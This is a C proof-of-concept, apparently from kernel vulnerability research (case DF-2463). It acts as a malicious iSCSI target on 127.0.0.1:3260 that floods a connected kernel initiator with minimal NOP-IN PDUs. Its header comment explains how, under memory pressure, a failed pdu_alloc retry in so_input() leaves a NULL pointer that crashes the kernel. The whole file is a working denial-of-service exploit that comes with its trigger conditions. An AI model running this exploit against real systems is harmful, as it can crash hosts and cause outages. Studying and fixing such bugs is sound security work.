DF-2463 / mtarget2463.c
/* * mtarget2463.c - Continuous-PDU malicious target for DF-2463. * * After idrv establishes the kernel receiver on a socket to us (WITHOUT * login, via ISCSISETSES+ISCSISETSOC), we blast a continuous stream of * minimal 48-byte NOP-IN PDUs. Each one causes so_input() -> pdu_alloc() * (M_NOWAIT) in the kernel. Run concurrently with memhog under swap-off: * when memory pressure makes the first pdu_alloc fail, so_input retries * with pdu_alloc(M_NOWAIT) AGAIN (isc_soc.c:543, comment "OK to WAIT" but * uses M_NOWAIT), that also fails -> pq stays NULL -> line 545 * pq->pdu.ipdu.bhs = sp->bhs derefs NULL -> kernel panic. * * Build: cc -o mtarget2463 mtarget2463.c * Run: ./mtarget2463 (listens 127.0.0.1:3260, streams NOP-IN) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { int port = argc > 1 ? atoi(argv[1]) : 3260; int s = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(port); if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (listen(s, 1) < 0) { perror("listen"); return 1; } printf("mtarget2463: listening 127.0.0.1:%d\n", port); fflush(stdout); struct sockaddr_in ca; socklen_t cl = sizeof(ca); int c = accept(s, (struct sockaddr*)&ca, &cl); if (c < 0) { perror("accept"); return 1; } printf("mtarget2463: accepted; blasting NOP-IN stream\n"); fflush(stdout); /* NOP-IN: opcode=0x20, F=1, AHS=0, DS=0, itt=0xffffffff, ttt=0xffffffff. 48 bytes, no AHS/DS, so so_recv len==0 -> fast path through pdu_alloc. */ unsigned char nop[48]; memset(nop, 0, sizeof(nop)); nop[0] = 0x20; /* NOP-IN */ nop[1] = 0x80; /* F=1 */ /* StatSN at offset 24, etc. -- values don't matter for hitting pdu_alloc. */ long count = 0; for (;;) { if (write(c, nop, 48) != 48) { printf("mtarget2463: write failed after %ld PDUs (kernel may have panicked/closed)\n", count); fflush(stdout); break; } count++; if ((count % 200000) == 0) { printf(" sent %ld NOP-INs\n", count); fflush(stdout); } } close(c); close(s); return 0; } |